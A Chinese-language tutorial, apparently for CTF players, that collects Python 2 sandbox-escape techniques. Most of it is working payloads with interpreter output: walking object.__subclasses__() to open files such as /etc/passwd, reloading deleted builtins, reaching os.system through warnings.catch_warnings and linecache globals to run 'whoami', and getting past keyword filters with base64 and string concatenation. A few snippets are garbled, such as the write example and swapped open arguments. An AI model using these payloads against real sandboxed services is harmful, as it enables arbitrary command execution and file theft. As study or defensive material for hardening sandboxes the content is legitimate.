0x00:前记
总结了一下python沙盒逃逸可能用到的方法.
有错的话请师傅们指出一下..
0x01:Magic Code:
首先python的内置对象有一个class属性来存储类型,python中一切均为对象,均继承object对象,并且可在通过属性subclasses来查看object的子类(包括所有的内置类)
>>> [].__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>.....
使用[].__class__.__base__.__subclasses__().index(模块名)
可以查看该模块在object子类的位置,或者也可以手动数(XD
>>> [].__class__.__base__.__subclasses__().index(file)
40
0X02:reload重载
如果源代码删除了一些危险模块,但是没有禁用reload可以通过reload重新加载被删除的模块
del __builtins__.__dict__['eval']
del __builtins__.__dict__['os']
del __builtins__.__dict__['system']
reload(__builtins__)
0x03:file读写文件
可以通过dir()查看内置模块
或者也可以使用下面这段魔术代码不import任何模块而直接调用函数
[].__class__.__base__.__subclasses__()
查看file模块在object类中的位置,一般来说是40
>>> [].__class__.__base__.__subclasses__().index(file)
40
读取文件:
().__class__.__bases__[0].__subclasses__()[40]('./etc/passwd','r').read()
写文件:
().class.bases[0].subclasses()40.write(“sheldon”)
0x04:GetShell
一般想要GetShell引用下面这三个库就行了
- os
- subprocess
- commands
但是当这三个库都被禁用的时候还有另一种方法
就是上面提到的魔术代码,其中有一些内置的模块已经提前加载了os
<class 'site._Printer'>
<class 'site.Quitter'>
<class 'warnings.catch_warnings'>
在这里我使用warnings.catch_warnings做介绍:
首先获取warnings.catch_warnings在object类中的位置
>>> import warnings
>>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
60
>>> [].__class__.__base__.__subclasses__()[60]
<class 'warnings.catch_warnings'>
>>> [].__class__.__base__.__subclasses__()[60].__init__.func_globals.keys()
['filterwarnings', 'once_registry', 'WarningMessage', '_show_warning', 'filters', '_setoption', 'showwarning', '__all__', 'onceregistry', '__package__', 'simplefilter', 'default_action', '_getcategory', '__builtins__', 'catch_warnings', '__file__', 'warnpy3k', 'sys', '__name__', 'warn_explicit', 'types', 'warn', '_processoptions', 'defaultaction', '__doc__', 'linecache', '_OptionError', 'resetwarnings', 'formatwarning', '_getaction']
查看linecache
>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.keys()
['updatecache', 'clearcache', '__all__', '__builtins__', '__file__', 'cache', 'checkcache', 'getline', '__package__', 'sys', 'getlines', '__name__', 'os', '__doc__']
可以看到这里调用了os模块,所以可以直接调用os模块
>>> a=[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]
>>>>a
<module 'os' from '*****\python27\lib\os.pyc'>
接着要调用os的system方法,先查看system的位置:
>>>a.__dict__.keys().index('system')
79
>>> a.__dict__.keys()[79]
'system'
>>> b=a.__dict__.values()[79]
>>> b
<built-in function system>
>>> b('whoami')
********\sheldon
可以看到成功getshell
0x04:Waf ByPass:
当有的字符串被waf的时候可以通过编码或者字符串拼接绕过
base64:
().__class__.__bases__[0].__subclasses__()[40]('r','ZmxhZy50eHQ='.decode('base64')).read()
相当于:
().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt')).read()
字符串拼接:
().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()
相当于
().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt')).read()
0x05:可能碰到的坑
当ls被waf的时候就不能通过[].__class__.__base__.__subclasses__([60].__init__.func_globals['linecache'].__dict__.values()[12]
直接加载os模块
这时候可以使用getattribute+字符串拼接/base64 绕过 例如:
[].__class__.__base__.__subclasses__()[60].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__.values()[12]
等价于:
[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]
0x06:小结
当对象是一个class的时候可以通过.__init__.__globals__.keys()
查看内置模块名
>>>a=[].__class__.__base__.__subclasses__()[72]
>>>a.__init__.__globals__.keys()
['traceback', 'setencoding', 'sethelper', 'execsitecustomize', '__builtin__', 'addsitedir', 'addpackage', 'ENABLE_USER_SITE', 'USER_SITE', 'setquit', 'setcopyright', 'addsitepackages', '_Printer', 'setBEGINLIBPATH', 'check_enableusersite', '__package__', 'USER_BASE', 'abs__file__', 'main', '__doc__', '_Helper', '_', '__builtins__', '__file__', '_init_pathinfo', 'removeduppaths', 'sys', 'getsitepackages', '__name__', 'getusersitepackages', 'execusercustomize', 'aliasmbcs', 'makepath', 'getuserbase', 'PREFIXES', 'addusersitepackages', 'os']
然后通过.inint.globals[‘os’]加载os模块
>>>b=a.__init__.__globals__['os']
<module 'os' from '******\python27\lib\os.pyc'>
查看os模块下的方法:
>>> b.__dict__.keys().index('system')
79
使用该方法:
>>>cmd=b.__dict__['system'] / cmd=b.__dict__.values()[79]
>>>cmd('whoami')
***********\sheldon
注:允许加载多次,比如上面getshell就是先warnings.catch_warnings
类中linecache模块,然后再加载linecache模块中的os模块